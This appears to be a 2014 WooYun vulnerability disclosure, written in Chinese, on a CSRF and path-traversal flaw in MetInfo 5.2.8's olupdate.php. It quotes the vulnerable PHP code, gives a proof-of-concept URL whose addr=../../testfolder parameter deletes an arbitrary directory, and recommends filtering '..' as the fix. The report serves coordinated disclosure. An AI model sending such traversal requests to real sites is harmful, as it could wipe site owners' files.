当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075277

漏洞标题:Metinfo一处CSRF可删除任意目录 #2

相关厂商:cncert国家互联网应急中心

漏洞作者: BadCat

提交时间:2014-09-09 11:49

修复时间:2014-12-08 11:50

公开时间:2014-12-08 11:50

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-14: 厂商已经确认,细节仅向厂商公开
2014-09-17: 细节向第三方安全合作伙伴开放
2014-11-08: 细节向核心白帽子及相关领域专家公开
2014-11-18: 细节向普通白帽子公开
2014-11-28: 细节向实习白帽子公开
2014-12-08: 细节向公众公开

简要描述:

Metinfo因某处CSRF而造成可删除随意目录/整站

详细说明:

官方最新的 5.2.8 (测试通过)
来看看存在问题的代码
metinfo/system/olupdate.php

else if($action=='update'){/*文件更新 注升级包中admin文件不需要改名,直接写admin*/
$adminfile=$url_array[count($url_array)-2];
include "../update/$addr/dlfilelist.txt";
$file_error[0]=0;
foreach($strs as $addrskey=>$strsval){
$strsvalto=readmin($strsval,$adminfile,2);
$str=file_get_contents("../update/$addr/$strsval");
if(!file_put_contents("../../$strsvalto",$str)){
$file_error[0]=1;
$file_error[2]=$strsvalto;
}
}
if($file_error[0]==1){
foreach($strs as $addrskey=>$strsval){
$strsvalto=readmin($strsval,$adminfile,2);
$str=file_get_contents("../update/$addr/dateback/$strsvalto");
if($str){
file_put_contents("../../$strsvalto",$str);
}
else{
unlink("../../$strsvalto");
}
}
require_once '../system/database/global.func.php';
if(file_exists("../update/$addr/sqlist.php"))include "../update/$addr/sqlist.php";
foreach($sqlfile as $sqlkey=>$sqlval){
$sql=file_get_contents($sqlval);
sql_execute($sql);
}
dl_error("{$file_error[2]}{$lang_updaterr14}",$type,$olid,$ver,$addr,$action);
}
$str=file_get_contents("../update/$addr/update.php");
if($str!='No Date'){
include "../update/$addr/update.php";
}
if($type==1){
$db->query("update $met_config set value='$ver' where name='metcms_v'");
$authinfo=$db->get_one("SELECT * FROM $met_otherinfo where id=1");
$met_file='/dl/record_dl.php';
$post_data = array('cmd'=>'sys','url'=>$met_weburl,'code'=>$authinfo['authcode'],'key'=>$authinfo['authpass'],'ver'=>$ver);
curl_post($post_data,10);

$num=1;
$random = met_rand(6);
$date=date('Ymd',time());
require_once '../system/database/global.func.php';
do{
$sqldump = '';
$startrow = '';
$statistics1=$tablepre.'visit_day';
$statistics2=$tablepre.'visit_detail';
$statistics3=$tablepre.'visit_summary';
$tables=tableprearray($tablepre);
$sizelimit=2048;
$tableid = isset($tableid) ? $tableid - 1 : 0;
$startfrom = isset($startfrom) ? intval($startfrom) : 0;
$tablenumber = count($tables);
for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $sizelimit * 1000; $i++){
if($tables[$i]==$statistics1||$tables[$i]==$statistics2||$tables[$i]==$statistics3)continue;
$sqldump .= sql_dumptable($tables[$i], $startfrom, strlen($sqldump));
$startfrom = 0;
}
$startfrom = $startrow;
$tableid = $i;
if(trim($sqldump)){
$version='version:'.$ver;
$sqldump = "#MetInfo.cn Created {$version} \n#{$met_weburl}\n#{$tablepre}\n# --------------------------------------------------------\n\n\n".$sqldump;
$bakfile = "../databack/{$con_db_name}_{$date}_{$random}_{$num}.sql";
file_put_contents($bakfile, $sqldump);
}
$num++;
}
while(trim($sqldump));

}else if($type==2){
$query="select * from $met_app where no=$olid and download=0";
$app=$db->get_one($query);
$query="select * from $met_app where no=$olid and download=1";
if($db->get_one($query)){
$query="update $met_app set name='$app[name]',ver='$app[ver]',img='$app[img]',info='$app[info]',file='$app[file]',power='$app[power]',sys='$app[sys]',site='$app[site]',url='$app[url]' where no='$app[no]' and download=1";
$db->query($query);
}
else{
$query="insert into $met_app set name='$app[name]',no='$app[no]',ver='$app[ver]',img='$app[img]',info='$app[info]',file='$app[file]',power='$app[power]',sys='$app[sys]',site='$app[site]',url='$app[url]',download=1";
$db->query($query);
}
$query="select * from $met_admin_table where usertype=3";
$result=$db->query($query);
while($list=$db->fetch_array($result)){
$list[admin_type_tmp]='-'.$list[admin_type].'-';
if(stripos($list[admin_type_tmp],'-s142-')!==false){
$list[admin_type]=$list[admin_type].'-a'.$app[no];
$query="update $met_admin_table set admin_type='$list[admin_type]' where id='$list[id]'";
$db->query($query);
}
}
$met_file='/dl/record_dl.php';
$post_data = array('cmd'=>'app','addr'=>$addr);
curl_post($post_data,10);
}
deldir("../update/$addr/"); // 漏洞在这里, $addr 可控
unlink("../../update.php");
unlink("../../sql.sql");
checksumdel($type);
echo $lang_updaterr15."<script type=\"text/javascript\">setTimeout(function (){olupdate('$olid','$ver','testc');},500);</script>";
}else if($action=='error'){
dl_error('',$type,$olid,$ver,$addr,$action);
}


然后构造CSRF请求

http://localhost/metinfo/admin/system/olupdate.php?action=update&addr=../../testfolder

漏洞证明:

首先创建个叫 "testfolder"的目录

Capture.JPG


然后发起这请求,尝试删除这目录

http://localhost/metinfo/admin/system/olupdate.php?action=update&addr=../../testfolder


Capture.JPG


然后看看目录还存在不

Capture.JPG


成功了,目录被删除了!

修复方案:

过滤

..

字符

版权声明:转载请注明来源 BadCat@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-09-14 09:22

厂商回复:

最新状态:

暂无